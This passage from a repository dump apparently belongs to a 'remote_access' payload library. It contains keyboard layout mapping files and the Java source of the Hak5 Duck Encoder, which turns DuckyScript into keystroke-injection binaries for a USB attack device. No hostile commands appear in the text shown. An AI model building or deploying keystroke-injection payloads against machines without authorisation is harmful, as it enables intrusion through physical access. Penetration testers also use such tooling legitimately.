MODIFIERKEY_SHIFT\t\t\t\t\n// 85 U\nASCII_55 = KEY_U, MODIFIERKEY_SHIFT\t\t\t\t\n// 86 V\nASCII_56 = KEY_V, MODIFIERKEY_SHIFT\t\t\t\t\n// 87 W\nASCII_57 = KEY_W, MODIFIERKEY_SHIFT\t\t\t\t\n// 88 X\nASCII_58 = KEY_X, MODIFIERKEY_SHIFT\t\t\t\t\n// 89 Y\nASCII_59 = KEY_Y, MODIFIERKEY_SHIFT\t\t\t\t\n// 90 Z\nASCII_5A = KEY_Z, MODIFIERKEY_SHIFT\t\t\t\t\n// 91 [\nASCII_5B = KEY_8, MODIFIERKEY_RIGHT_ALT\t\t\t\t\n// 92 \nASCII_5C = KEY_MINUS, MODIFIERKEY_RIGHT_ALT\t\t\t\t\n// 93 ]\nASCII_5D = KEY_9, MODIFIERKEY_RIGHT_ALT\t\t\t\n// 94 ^\nASCII_5E = KEY_3, MODIFIERKEY_SHIFT\t\t\t\t\n// 95 _\nASCII_5F = KEY_EQUAL, MODIFIERKEY_SHIFT\t\t\t\t\t\n// 96 `\nASCII_60 = KEY_BACKSLASH, MODIFIERKEY_RIGHT_ALT\t\t\n// 97 a\nASCII_61 = KEY_A\n// 98 b\nASCII_62 = KEY_B\t\t\t\t\t\n// 99 c\nASCII_63 = KEY_C\n// 100 d\nASCII_64 = KEY_D\t\t\t\t\t\n// 101 e\nASCII_65 = KEY_E\t\t\t\t\t\n// 102 f\nASCII_66 = KEY_F\t\t\t\t\t\n// 103 g\nASCII_67 = KEY_G\t\t\t\t\t\n// 104 h\nASCII_68 = KEY_H\t\t\t\t\t\n// 105 i\nASCII_69 = KEY_QUOTE\t\t\t\t\t\n// 106 j\nASCII_6A = KEY_J\t\t\t\t\t\n// 107 k\nASCII_6B = KEY_K\t\t\t\t\t\n// 108 l\nASCII_6C = KEY_L\t\t\t\t\t\n// 109 m\nASCII_6D = KEY_M\t\t\t\t\n// 110 n\nASCII_6E = KEY_N\t\t\t\t\t\n// 111 o\nASCII_6F = KEY_O\t\t\t\t\t\n// 112 p\nASCII_70 = KEY_P\t\t\t\t\t\n// 113 q\nASCII_71 = KEY_Q\t\t\t\t\t\n// 114 r\nASCII_72 = KEY_R\t\t\t\t\t\n// 115 s\nASCII_73 = KEY_S\t\t\t\t\t\n// 116 t\nASCII_74 = KEY_T\t\t\t\t\t\n// 117 u\nASCII_75 = KEY_U\t\t\t\t\t\n// 118 v\nASCII_76 = KEY_V\t\t\t\t\t\n// 119 w\nASCII_77 = KEY_W\t\t\t\t\t\n// 120 x\nASCII_78 = KEY_X\t\t\t\t\t\n// 121 y\nASCII_79 = KEY_Y\t\t\t\t\t\n// 122 z\nASCII_7A = KEY_Z\t\t\t\t\t\n// 123 {\nASCII_7B = KEY_7, MODIFIERKEY_RIGHT_ALT\t\t\t\t\n// 124 |\nASCII_7C = KEY_BACKSLASH, MODIFIERKEY_SHIFT\t\t\n// 125 }\nASCII_7D = KEY_0, MODIFIERKEY_RIGHT_ALT\t\t\t\n// 126 ~\nASCII_7E = KEY_RIGHT_BRACE, MODIFIERKEY_RIGHT_ALT\t\t\t\n// 127\nASCII_7F = KEY_BACKSPACE\t\t\t\t\n"
  },
  {
    "path": "payloads/library/remote_access/duckNet/Encoder/resources/us.properties",
    "content": "// US layout\n\n// 32 \nASCII_20 = KEY_SPACE\t\t\t\t\t\n // 33 !\nASCII_21 = KEY_1, MODIFIERKEY_SHIFT\t\t\t\t\t\n// 34 \"\nASCII_22 = KEY_QUOTE, MODIFIERKEY_SHIFT\t\t\t\t\t\n// 35 #\nASCII_23 = KEY_3, MODIFIERKEY_SHIFT\t\t\t\t\n// 36 $\nASCII_24 = KEY_4, MODIFIERKEY_SHIFT\t\t\t\t\n// 37 %\nASCII_25 = KEY_5, MODIFIERKEY_SHIFT\t\t\t\n// 38 &\nASCII_26 = KEY_7, MODIFIERKEY_SHIFT\t\t\t\t\t\n// 39 '  \nASCII_27 = KEY_QUOTE\t\t\t\n// 40 ( \nASCII_28 = KEY_9, MODIFIERKEY_SHIFT\t\t\t\t\n// 41 )\nASCII_29 = KEY_0, MODIFIERKEY_SHIFT\t\t\t\n// 42 *\nASCII_2A = KEY_8, MODIFIERKEY_SHIFT\t\t\t\n// 43 +\nASCII_2B = KEY_EQUAL, MODIFIERKEY_SHIFT\t\t\t\n// 44 ,\nASCII_2C = KEY_COMMA\t\t\t\n// 45 -\nASCII_2D = KEY_MINUS\t\t\t\t\n// 46 .\nASCII_2E = KEY_PERIOD\t\t\t\n// 47 /\nASCII_2F = KEY_SLASH\t\t\t\n// 48 0\nASCII_30 = KEY_0\t\t\t\t\n// 49 1\nASCII_31 = KEY_1\t\t\t\t\n// 50 2\nASCII_32 = KEY_2\t\t\t\t\n// 51 3\nASCII_33 = KEY_3\t\t\t\t\n// 52 4\nASCII_34 = KEY_4\t\t\t\t\n// 53 5\nASCII_35 = KEY_5\t\t\t\t\n// 54 6\nASCII_36 = KEY_6\t\t\t\t\n// 55 7\nASCII_37 = KEY_7\t\t\t\t\n// 55 8\nASCII_38 = KEY_8\t\t\t\t\n// 57 9\nASCII_39 = KEY_9\t\t\t\t\n// 58 :\nASCII_3A = KEY_SEMICOLON, MODIFIERKEY_SHIFT\t\t\t\t\t\n// 59 ;\nASCII_3B = KEY_SEMICOLON\t\t\n// 60 <\nASCII_3C = KEY_COMMA, MODIFIERKEY_SHIFT\t\t\t\t\n// 61 =\nASCII_3D = KEY_EQUAL\t\t\t\t\t\n// 62 >\nASCII_3E = KEY_PERIOD, MODIFIERKEY_SHIFT\t\t\t\n// 63 ?\nASCII_3F = KEY_SLASH, MODIFIERKEY_SHIFT\t\t\t\t\n// 64 @\nASCII_40 = KEY_2, MODIFIERKEY_SHIFT\t\t\t\t\n// 65 A\nASCII_41 = KEY_A, MODIFIERKEY_SHIFT\n// 66 B\nASCII_42 = KEY_B, MODIFIERKEY_SHIFT\t\t\t\t\n// 67 C\nASCII_43 = KEY_C, MODIFIERKEY_SHIFT\t\t\t\t\n// 68 D\nASCII_44 = KEY_D, MODIFIERKEY_SHIFT\t\t\t\t\n// 69 E\nASCII_45 = KEY_E, MODIFIERKEY_SHIFT\t\t\t\t\n// 70 F\nASCII_46 = KEY_F, MODIFIERKEY_SHIFT\t\t\t\t\n// 71 G\nASCII_47 = KEY_G, MODIFIERKEY_SHIFT\t\t\t\t\n// 72 H\nASCII_48 = KEY_H, MODIFIERKEY_SHIFT\t\t\t\t\n// 73 I\nASCII_49 = KEY_I, MODIFIERKEY_SHIFT\t\t\t\t\n// 74 J\nASCII_4A = KEY_J, MODIFIERKEY_SHIFT\t\t\t\t\n// 75 K\nASCII_4B = KEY_K, MODIFIERKEY_SHIFT\t\t\t\t\n// 76 L\nASCII_4C = KEY_L, MODIFIERKEY_SHIFT\t\t\t\t\n// 77 M\nASCII_4D = KEY_M, MODIFIERKEY_SHIFT\t\t\t\n// 78 N\nASCII_4E = KEY_N, MODIFIERKEY_SHIFT\t\t\t\t\n// 79 O\nASCII_4F = KEY_O, MODIFIERKEY_SHIFT\t\t\t\t\n// 80 P\nASCII_50 = KEY_P, MODIFIERKEY_SHIFT\t\t\t\t\n// 81 Q\nASCII_51 = KEY_Q, MODIFIERKEY_SHIFT\t\t\t\t\n// 82 R\nASCII_52 = KEY_R, MODIFIERKEY_SHIFT\t\t\t\t\n// 83 S\nASCII_53 = KEY_S, MODIFIERKEY_SHIFT\t\t\t\t\n// 84 T\nASCII_54 = KEY_T, MODIFIERKEY_SHIFT\t\t\t\t\n// 85 U\nASCII_55 = KEY_U, MODIFIERKEY_SHIFT\t\t\t\t\n// 86 V\nASCII_56 = KEY_V, MODIFIERKEY_SHIFT\t\t\t\t\n// 87 W\nASCII_57 = KEY_W, MODIFIERKEY_SHIFT\t\t\t\t\n// 88 X\nASCII_58 = KEY_X, MODIFIERKEY_SHIFT\t\t\t\t\n// 89 Y\nASCII_59 = KEY_Y, MODIFIERKEY_SHIFT\t\t\t\t\n// 90 Z\nASCII_5A = KEY_Z, MODIFIERKEY_SHIFT\t\t\t\t\n// 91 [\nASCII_5B = KEY_LEFT_BRACE\t\t\t\t\n// 92 \nASCII_5C = KEY_BACKSLASH\t\t\t\t\n// 93 ]\nASCII_5D = KEY_RIGHT_BRACE\t\t\t\n// 94 ^\nASCII_5E = KEY_6, MODIFIERKEY_SHIFT\t\t\t\t\n// 95 _\nASCII_5F = KEY_MINUS, MODIFIERKEY_SHIFT\t\t\t\t\t\n// 96 `\nASCII_60 = KEY_TILDE\t\t\n// 97 a\nASCII_61 = KEY_A\n// 98 b\nASCII_62 = KEY_B\t\t\t\t\t\n// 99 c\nASCII_63 = KEY_C\n// 100 d\nASCII_64 = KEY_D\t\t\t\t\t\n// 101 e\nASCII_65 = KEY_E\t\t\t\t\t\n// 102 f\nASCII_66 = KEY_F\t\t\t\t\t\n// 103 g\nASCII_67 = KEY_G\t\t\t\t\t\n// 104 h\nASCII_68 = KEY_H\t\t\t\t\t\n// 105 i\nASCII_69 = KEY_I\t\t\t\t\t\n// 106 j\nASCII_6A = KEY_J\t\t\t\t\t\n// 107 k\nASCII_6B = KEY_K\t\t\t\t\t\n// 108 l\nASCII_6C = KEY_L\t\t\t\t\t\n// 109 m\nASCII_6D = KEY_M\t\t\t\t\n// 110 n\nASCII_6E = KEY_N\t\t\t\t\t\n// 111 o\nASCII_6F = KEY_O\t\t\t\t\t\n// 112 p\nASCII_70 = KEY_P\t\t\t\t\t\n// 113 q\nASCII_71 = KEY_Q\t\t\t\t\t\n// 114 r\nASCII_72 = KEY_R\t\t\t\t\t\n// 115 s\nASCII_73 = KEY_S\t\t\t\t\t\n// 116 t\nASCII_74 = KEY_T\t\t\t\t\t\n// 117 u\nASCII_75 = KEY_U\t\t\t\t\t\n// 118 v\nASCII_76 = KEY_V\t\t\t\t\t\n// 119 w\nASCII_77 = KEY_W\t\t\t\t\t\n// 120 x\nASCII_78 = KEY_X\t\t\t\t\t\n// 121 y\nASCII_79 = KEY_Y\t\t\t\t\t\n// 122 z\nASCII_7A = KEY_Z\t\t\t\t\t\n// 123 {\nASCII_7B = KEY_LEFT_BRACE, MODIFIERKEY_SHIFT\t\t\t\t\n// 124 |\nASCII_7C = KEY_BACKSLASH, MODIFIERKEY_SHIFT\t\t\t\t\n// 125 }\nASCII_7D = KEY_RIGHT_BRACE, MODIFIERKEY_SHIFT\t\t\t\n// 126 ~\nASCII_7E = KEY_TILDE, MODIFIERKEY_SHIFT\t\t\t\n// 127\nASCII_7F = KEY_BACKSPACE\t\t\t\t\n"
  },
  {
    "path": "payloads/library/remote_access/duckNet/Encoder/src/Encoder.java",
    "content": "// File:         Encoder.java\r\n// Created:      8/10/2011\r\n// Original Author:Jason Appelbaum Jason@Hak5.org \r\n// Author:       Dnucna\r\n// Modified:     8/18/2012\r\n// Modified:\t 11/9/2013 midnitesnake \"added COMMAND-OPTION\"\r\n// Modified:     1/3/2013 midnitesnake \"added COMMAND\"\r\n// Modified:     1/3/2013 midnitesnake \"added REPEAT X\"\r\n// Modified:\t 2/5/2013 midnitesnake \"added ALT-SHIFT\"\r\n// Modified:     4/18/2013 midnitesnake \"added more user feedback\"\r\n// Modified:\t 5/2/2013 midnitesnake \"added skip over empty lines\"\r\n// Modified:     1/12/2014 Benthejunebug \"added ALT-TAB\"\r\n// Modified:\t 9/13/2016 rbeede \"added STRING_DELAY n text\"\r\n\r\nimport java.io.DataInputStream;\r\nimport java.io.File;\r\nimport java.io.FileInputStream;\r\nimport java.io.FileOutputStream;\r\nimport java.io.IOException;\r\nimport java.io.InputStream;\r\nimport java.util.ArrayList;\r\nimport java.util.List;\r\n\r\nimport javax.swing.text.BadLocationException;\r\nimport javax.swing.text.Document;\r\nimport javax.swing.text.rtf.RTFEditorKit;\r\n\r\nimport java.util.Properties;\r\n\r\npublic class Encoder {\r\n        /* contains the keyboard configuration */\r\n        private static Properties keyboardProps = new Properties();\r\n        /* contains the language layout */\r\n        private static Properties layoutProps = new Properties();\r\n        private static String version = \"2.6.4\";\r\n        private static Boolean debug=false;\r\n    \r\n        public static void main(String[] args) {\r\n                String helpStr = \"Hak5 Duck Encoder \"+version+\"\\n\\n\"\r\n                        + \"Usage: duckencode -i [file ..]\\t\\t\\tencode specified file\\n\"\r\n                        + \"   or: duckencode -i [file ..] -o [file ..]\\tencode to specified file\\n\\n\"\r\n                        + \"Arguments:\\n\"\r\n                        + \"   -i [file ..] \\t\\tInput File\\n\"\r\n                        + \"   -o [file ..] \\t\\tOutput File\\n\"\r\n                        + \"   -l [file ..] \\t\\tKeyboard Layout (us/fr/pt or a path to a properties file)\\n\\n\"\r\n                        + \"Script Commands:\\n\"\r\n                        + \"   ALT [key name] (ex: ALT F4, ALT SPACE)\\n\"\r\n                        + \"   CTRL | CONTROL [key name] (ex: CTRL ESC)\\n\"\r\n                        + \"   CTRL-ALT [key name] (ex: CTRL-ALT DEL)\\n\"\r\n                        + \"   CTRL-SHIFT [key name] (ex: CTRL-SHIFT ESC)\\n\"\r\n                        + \"   DEFAULT_DELAY | DEFAULTDELAY [Time in millisecond] (change the delay between each command)\\n\"\r\n                        + \"   DELAY [Time in millisecond] (used to overide temporary the default delay)\\n\"\r\n                        + \"   GUI | WINDOWS [key name] (ex: GUI r, GUI l)\\n\"\r\n                        + \"   REM [anything] (used to comment your code, no obligation :) )\\n\"\r\n                        + \"   ALT-SHIFT (swap language)\\n\"\r\n                        + \"   SHIFT [key name] (ex: SHIFT DEL)\\n\"\r\n                        + \"   STRING [any character of your layout]\\n\"\r\n                        + \"   STRING_DELAY [Number] [any character of your layout]\t(Number is ms delay between each character)\\n\"\r\n                        + \"   REPEAT [Number] (Repeat last instruction N times)\\n\"\r\n                        + \"   [key name] (anything in the keyboard.properties)\";                        \r\n\r\n        String inputFile = null;\r\n        String outputFile = null;\r\n        String layoutFile = null;\r\n\r\n        if (args.length == 0) {\r\n                System.out.println(helpStr);\r\n                System.exit(0);\r\n        }\r\n\r\n        for (int i = 0; i < args.length; i++) {\r\n                if (args[i].equals(\"--gui\") || args[i].equals(\"-g\")) {\r\n                        System.out.println(\"Launch GUI\");\r\n                } else if (args[i].equals(\"--help\") || args[i].equals(\"-h\")) {\r\n                        System.out.println(helpStr);\r\n                } else if (args[i].equals(\"-i\")) {\r\n                        // encode file\r\n                        inputFile = args[++i];\r\n                } else if (args[i].equals(\"-o\")) {\r\n                        // output file\r\n                        outputFile = args[++i];\r\n                } else if (args[i].equals(\"-l\")) {\r\n                        // output file\r\n                        layoutFile = args[++i];\r\n                } else if (args[i].equals(\"-d\")) {\r\n                    // output file\r\n                    debug=true;\r\n                } else {\r\n                        System.out.println(helpStr);\r\n                        break;\r\n                }\r\n        }\r\n            \r\n        System.out.println(\"Hak5 Duck Encoder \"+version+\"\\n\");\r\n        \r\n        if (inputFile != null) {\r\n                String scriptStr = null;\r\n\r\n                if (inputFile.contains(\".rtf\")) {\r\n                        try {\r\n                                FileInputStream stream = new FileInputStream(inputFile);\r\n                                RTFEditorKit kit = new RTFEditorKit();\r\n                                Document doc = kit.createDefaultDocument();\r\n                                kit.read(stream, doc, 0);\r\n\r\n                                scriptStr = doc.getText(0, doc.getLength());\r\n                                System.out.println(\"Loading RTF .....\\t\\t[ OK ]\");\r\n                        } catch (IOException e) {\r\n                                System.out.println(\"Error with input file!\");\r\n                        } catch (BadLocationException e) {\r\n                                System.out.println(\"Error with input file!\");\r\n                        }\r\n                    \r\n                } else {\r\n                        DataInputStream in = null;\r\n                        try {\r\n                                File f = new File(inputFile);\r\n                                byte[] buffer = new byte[(int) f.length()];\r\n                                in = new DataInputStream(new FileInputStream(f));\r\n                                in.readFully(buffer);\r\n                                scriptStr = new String(buffer);\r\n                                System.out.println(\"Loading File .....\\t\\t[ OK ]\");\r\n                        } catch (IOException e) {\r\n                                System.out.println(\"Error with input file!\");\r\n                        } finally {\r\n                                try {\r\n                                        in.close();\r\n                                } catch (IOException e) { /* ignore it */\r\n                                }\r\n                        }\r\n                }\r\n                loadProperties((layoutFile == null) ? \"us\" : layoutFile);\r\n                \r\n                encodeToFile(scriptStr, (outputFile == null) ? \"inject.bin\"\r\n                                : outputFile);\r\n                }\r\n            \r\n        }\r\n        \r\n        private static void loadProperties (String lang){\r\n                InputStream in;\r\n                ClassLoader loader = ClassLoader.getSystemClassLoader ();\r\n                try {\r\n                        in = loader.getResourceAsStream(\"keyboard.properties\");\r\n                        if(in != null){\r\n                                keyboardProps.load(in);\r\n                                in.close();\r\n                                System.out.println(\"Loading Keyboard File .....\\t[ OK ]\");\r\n                        }else{\r\n                                System.out.println(\"Error with keyboard.properties!\");\r\n                                System.exit(0);\r\n                        }\r\n                } catch (IOException e) {\r\n                        System.out.println(\"Error with keyboard.properties!\");\r\n                }\r\n                        \r\n                try {\r\n                        in = loader.getResourceAsStream(lang + \".properties\");\r\n                        if(in != null){\r\n                                layoutProps.load(in);\r\n                                in.close();\r\n                                System.out.println(\"Loading Language File .....\\t[ OK ]\");\r\n                        }else{\r\n                                if(new File(lang).isFile()){\r\n                                        layoutProps.load(new FileInputStream(lang));\r\n                                        System.out.println(\"Loading Language File .....\\t[ OK ]\");\r\n                                } else{\r\n                                        System.out.println(\"External layout.properties non found!\");\r\n                                        System.exit(0);\r\n                                }\r\n                        }\r\n                } catch (IOException e) {\r\n                        System.out.println(\"Error with layout.properties!\");\r\n                        System.exit(0);\r\n                }\r\n\r\n        }\r\n        private static void encodeToFile(String inStr, String fileDest) {\r\n\r\n                inStr = inStr.replaceAll(\"\\\\r\", \"\"); // CRLF Fix\r\n                String[] instructions = inStr.split(\"\\n\");\r\n                String[] last_instruction = inStr.split(\"\\n\");\r\n                List<Byte> file = new ArrayList<Byte>();\r\n                int defaultDelay = 0;\r\n                int loop =0;\r\n                boolean repeat=false;\r\n                System.out.println(\"Loading DuckyScript .....\\t[ OK ]\");\r\n                if(debug) System.out.println(\"\\nParsing Commands:\");\r\n                for (int i = 0; i < instructions.length; i++) {\r\n                        try {\r\n                                boolean delayOverride = false;\r\n                                String commentCheck = instructions[i].substring(0, 2);\r\n                                if (commentCheck.equals(\"//\"))\r\n                                        continue;\r\n\t\t\t\tif (instructions[i].equals(\"\\n\"))\r\n\t\t\t\t\tcontinue;\r\n                               String[] instruction = instructions[i].split(\" \", 2);\r\n                                \r\n                                if(i>0){\r\n                                \t\tlast_instruction=instructions[i-1].split(\" \", 2);\r\n                                \t\tlast_instruction[0].trim();\r\n                                \t\tif (last_instruction.length == 2) {\r\n                                        \t\tlast_instruction[1].trim();\r\n                                \t\t}\r\n                                }else{\r\n                                \t\tlast_instruction=instructions[i].split(\" \", 2);\r\n                                \t\tlast_instruction[0].trim();\r\n                                \t\tif (last_instruction.length == 2) {\r\n                                        \t\tlast_instruction[1].trim();\r\n                                \t\t}\r\n                                }\r\n\r\n                                instruction[0].trim();\r\n\r\n                                if (instruction.length == 2) {\r\n                                        instruction[1].trim();\r\n                                }\r\n\r\n\t\t\t\t\t\t\t\tif (instruction[0].equals(\"REM\")){\r\n\t\t\t\t\t\t\t\t\tcontinue;\r\n\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t\tif (instruction[0].equals(\"REPEAT\")){\r\n\t\t\t\t\t\t\t\t\tloop=Integer.parseInt(instruction[1].trim());\r\n\t\t\t\t\t\t\t\t\trepeat=true;\r\n\t\t\t\t\t\t\t\t}else{\r\n\t\t\t\t\t\t\t\t\trepeat=false;\r\n\t\t\t\t\t\t\t\t\tloop=1;\r\n\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t\twhile(loop>0){\r\n\t\t\t\t\t\t\t\t\tif (repeat){\r\n\t\t\t\t\t\t\t\t\t\tinstruction=last_instruction;\r\n\t\t\t\t\t\t\t\t\t\t//System.out.println(Integer.toString(instruction.length));\r\n\t\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t\tif (debug) System.out.println(java.util.Arrays.toString(instruction));\r\n                                \tif (instruction[0].equals(\"DEFAULT_DELAY\")\r\n                                                || instruction[0].equals(\"DEFAULTDELAY\")) {\r\n                                      \t  defaultDelay = Integer.parseInt(instruction[1].trim());\r\n                                       \t delayOverride = true;\r\n                                \t} else if (instruction[0].equals(\"DELAY\")) {\r\n                                        int delay = Integer.parseInt(instruction[1].trim());\r\n                                        while (delay > 0) {\r\n                                                file.add((byte) 0x00);\r\n                                                if (delay > 255) {\r\n                                                        file.add((byte) 0xFF);\r\n                                                        delay = delay - 255;\r\n                                                } else {\r\n                                                        file.add((byte) delay);\r\n                                                        delay = 0;\r\n                                                }\r\n                                        }\r\n                                        delayOverride = true;\r\n                                \t} else if (instruction[0].equals(\"STRING\")) {\r\n                                        for (int j = 0; j < instruction[1].length(); j++) {\r\n                                                char c = instruction[1].charAt(j);\r\n                                                addBytes(file,charToBytes(c));\r\n                                        }\r\n                                \t} else if (instruction[0].equals(\"STRING_DELAY\")) {\r\n                                \t\tfinal String[] twoOptions = instruction[1].split(\" \", 2);\r\n                                \t\tfinal int delayMillis = Integer.parseInt(twoOptions[0].trim());\r\n                                \t\tfinal String userText = twoOptions[1].trim();\r\n                                \t\t\r\n                                \t\tif(debug)  System.out.println(delayMillis);\r\n                                \t\tif(debug)  System.out.println(userText);\r\n                                \t\t\r\n                                        for (int j = 0; j < userText.length(); j++) {\r\n                                                char c = userText.charAt(j);\r\n                                                addBytes(file,charToBytes(c));\r\n                                                \r\n                                                // Now insert the delay before the next character (and after the last is provided)\r\n                                                for(int counter = delayMillis; counter > 0; counter -= 0xFF) {\r\n                                                \tfile.add((byte) 0x00);\r\n                                                \tif(counter > 0xFF) {\r\n                                                \t\tfile.add((byte) 0xFF);\r\n                                                \t} else {\r\n                                                \t\tfile.add((byte) counter);  // Last one\r\n                                                \t}\r\n                                                }\r\n                                        }\r\n                                \t} else if (instruction[0].equals(\"CONTROL\")\r\n                                                || instruction[0].equals(\"CTRL\")) {\r\n                                        if (instruction.length != 1){\r\n                                                file.add(strInstrToByte(instruction[1]));\r\n                                                file.add(strToByte(keyboardProps.getProperty(\"MODIFIERKEY_CTRL\")));\r\n                                        } else {\r\n                                                file.add(strToByte(keyboardProps.getProperty(\"KEY_LEFT_CTRL\")));\r\n                                                file.add((byte) 0x00);\r\n                                        }                               \r\n                                \t} else if (instruction[0].equals(\"ALT\")) {\r\n                                        if (instruction.length != 1){\r\n                                                file.add(strInstrToByte(instruction[1]));\r\n                                                file.add(strToByte(keyboardProps.getProperty(\"MODIFIERKEY_ALT\")));\r\n                                        } else {\r\n                                                file.add(strToByte(keyboardProps.getProperty(\"KEY_LEFT_ALT\")));\r\n                                                file.add((byte) 0x00);\r\n                                        }\r\n                                \t} else if (instruction[0].equals(\"SHIFT\")) {\r\n                                        if (instruction.length != 1) {\r\n                                                file.add(strInstrToByte(instruction[1]));\r\n                                                file.add(strToByte(keyboardProps.getProperty(\"MODIFIERKEY_SHIFT\")));\r\n                                        } else {\r\n                                                file.add(strToByte(keyboardProps.getProperty(\"KEY_LEFT_SHIFT\")));\r\n                                                file.add((byte) 0x00);\r\n                                        }\r\n                                \t} else if (instruction[0].equals(\"CTRL-ALT\")) {\r\n                                        if (instruction.length != 1) {\r\n                                                file.add(strInstrToByte(instruction[1]));\r\n                                                file.add((byte) (strToByte(keyboardProps.getProperty(\"MODIFIERKEY_CTRL\"))\r\n                                                                | strToByte(keyboardProps.getProperty(\"MODIFIERKEY_ALT\"))));\r\n                                        } else {\r\n                                                continue;\r\n                                        }\r\n                                \t} else if (instruction[0].equals(\"CTRL-SHIFT\")) {\r\n                                        if (instruction.length != 1) {\r\n                                                file.add(strInstrToByte(instruction[1]));\r\n                                                file.add((byte) (strToByte(keyboardProps.getProperty(\"MODIFIERKEY_CTRL\"))\r\n                                                                | strToByte(keyboardProps.getProperty(\"MODIFIERKEY_SHIFT\"))));\r\n                                        } else {\r\n                                                continue;\r\n                                        }\r\n                                    } else if (instruction[0].equals(\"COMMAND-OPTION\")) {\r\n                                        if (instruction.length != 1) {\r\n                                                file.add(strInstrToByte(instruction[1]));\r\n                                                file.add((byte) (strToByte(keyboardProps.getProperty(\"MODIFIERKEY_KEY_LEFT_GUI\"))\r\n                                                                | strToByte(keyboardProps.getProperty(\"MODIFIERKEY_ALT\"))));\r\n                                        } else {\r\n                                                continue;\r\n                                        }\r\n                                \t} else if (instruction[0].equals(\"ALT-SHIFT\")) {\r\n                                        if (instruction.length != 1) {\r\n                                            file.add(strInstrToByte(instruction[1]));\r\n                                            file.add((byte) (strToByte(keyboardProps.getProperty(\"MODIFIERKEY_LEFT_ALT\"))\r\n                                                                | strToByte(keyboardProps.getProperty(\"MODIFIERKEY_SHIFT\")))\r\n                                                    );\r\n                                        } else {\r\n                                                file.add(strToByte(keyboardProps.getProperty(\"KEY_LEFT_ALT\")));\r\n                                                                                                file.add((byte) (strToByte(keyboardProps.getProperty(\"MODIFIERKEY_LEFT_ALT\"))\r\n                                                                | strToByte(keyboardProps.getProperty(\"MODIFIERKEY_SHIFT\")))\r\n                                                        );\r\n                                        }\r\n                                \t} else if (instruction[0].equals(\"ALT-TAB\")){\r\n                                        if (instruction.length == 1) {\r\n                                            file.add(strToByte(keyboardProps.getProperty(\"KEY_TAB\")));\r\n                                            file.add(strToByte(keyboardProps.getProperty(\"MODIFIERKEY_LEFT_ALT\")));\r\n                                        } else{\r\n                                            // do something?\r\n                                        }\r\n                                    } else if (instruction[0].equals(\"REM\")) {\r\n                                        /* no default delay for the comments */\r\n                                        delayOverride = true;\r\n                                        continue;\r\n                                \t} else if (instruction[0].equals(\"WINDOWS\")\r\n                                                || instruction[0].equals(\"GUI\")) {\r\n                                        if (instruction.length == 1) {\r\n                                                file.add(strToByte(keyboardProps.getProperty(\"MODIFIERKEY_LEFT_GUI\")));\r\n                                                file.add((byte) 0x00);\r\n                                        } else {\r\n                                                file.add(strInstrToByte(instruction[1]));\r\n                                                file.add(strToByte(keyboardProps.getProperty(\"MODIFIERKEY_LEFT_GUI\")));\r\n                                        }\r\n                                \t} else if (instruction[0].equals(\"COMMAND\")){\r\n                                        if (instruction.length == 1) {\r\n                                                file.add(strToByte(keyboardProps.getProperty(\"KEY_COMMAND\")));\r\n                                                file.add((byte) 0x00);\r\n                                        } else {\r\n                                                file.add(strInstrToByte(instruction[1]));\r\n                                                file.add(strToByte(keyboardProps.getProperty(\"MODIFIERKEY_LEFT_GUI\")));\r\n                                        }\r\n                                \t}else {\r\n                                        /* treat anything else as a key */\r\n                                        file.add(strInstrToByte(instruction[0]));\r\n                                        file.add((byte) 0x00);\r\n                                \t}\r\n                                \tloop--;\r\n\t\t\t\t\t\t\t\t}\r\n                                // Default delay\r\n                                if (!delayOverride & defaultDelay > 0) {\r\n                                        int delayCounter = defaultDelay;\r\n                                        while (delayCounter > 0) {\r\n                                                file.add((byte) 0x00);\r\n                                                if (delayCounter > 255) {\r\n                                                        file.add((byte) 0xFF);\r\n                                                        delayCounter = delayCounter - 255;\r\n                                                } else {\r\n                                                        file.add((byte) delayCounter);\r\n                                                        delayCounter = 0;\r\n                                                }\r\n                                        }\r\n                                }\r\n                        }catch (StringIndexOutOfBoundsException e){\r\n\t\t\t\t//do nothing\r\n                        }\r\n                        catch (Exception e) {\r\n                                System.out.println(\"Error on Line: \" + (i + 1));\r\n                                e.printStackTrace();\r\n                        }\r\n                }\r\n\r\n                // Write byte array to file\r\n                byte[] data = new byte[file.size()];\r\n                for (int i = 0; i < file.size(); i++) {\r\n                        data[i] = file.get(i);\r\n                }\r\n                try {\r\n                        File someFile = new File(fileDest);\r\n                        FileOutputStream fos = new FileOutputStream(someFile);\r\n                        fos.write(data);\r\n                        fos.flush();\r\n                        fos.close();\r\n                        System.out.println(\"DuckyScript Complete.....\\t[ OK ]\\n\");\r\n                } catch (Exception e) {\r\n                        System.out.print(\"Failed to write hex file!\");\r\n                }\r\n            \r\n        }\r\n\r\n        private static void addBytes(List<Byte> file, byte[] byteTab){\r\n                for(int i=0;i<byteTab.length;i++)\r\n                        file.add(byteTab[i]);\r\n                if(byteTab.length % 2 != 0){\r\n                        file.add((byte) 0x00);\r\n                }\r\n        }\r\n        \r\n        private static byte[] charToBytes (char c){\r\n                return codeToBytes(charToCode(c));\r\n        }\r\n        private static String charToCode (char c){\r\n                String code;\r\n                if(c<128){\r\n                code = \"ASCII_\"+Integer.toHexString(c).toUpperCase();\r\n            }else if (c<256){\r\n                code = \"ISO_8859_1_\"+Integer.toHexString(c).toUpperCase();\r\n            }else{\r\n                code = \"UNICODE_\"+Integer.toHexString(c).toUpperCase();\r\n            }\r\n                return code;\r\n        }\r\n        \r\n        private static byte[] codeToBytes (String str){\r\n                if(layoutProps.getProperty(str) != null){\r\n                        String keys[] = layoutProps.getProperty(str).split(\",\");\r\n                        byte[] byteTab = new byte[keys.length];\r\n                    for(int j=0;j<keys.length;j++){\r\n                        String key = keys[j].trim();\r\n                        if(keyboardProps.getProperty(key) != null){\r\n                                byteTab[j] = strToByte(keyboardProps.getProperty(key).trim());\r\n                        }else if(layoutProps.getProperty(key) != null){\r\n                                byteTab[j] = strToByte(layoutProps.getProperty(key).trim());\r\n                        }else{\r\n                                System.out.println(\"Key not found:\"+key);\r\n                                byteTab[j] = (byte) 0x00;\r\n                        }\r\n                    }\r\n                        return byteTab;\r\n                }else{\r\n                        System.out.println(\"Char not found:\"+str);\r\n                        byte[] byteTab = new byte[1];\r\n                        byteTab[0] = (byte) 0x00;\r\n                        return byteTab;\r\n                }\r\n        }\r\n        private static byte strToByte(String str) {\r\n                if(str.startsWith(\"0x\")){\r\n                        return (byte)Integer.parseInt(str.substring(2),16);\r\n                }else{\r\n                        return 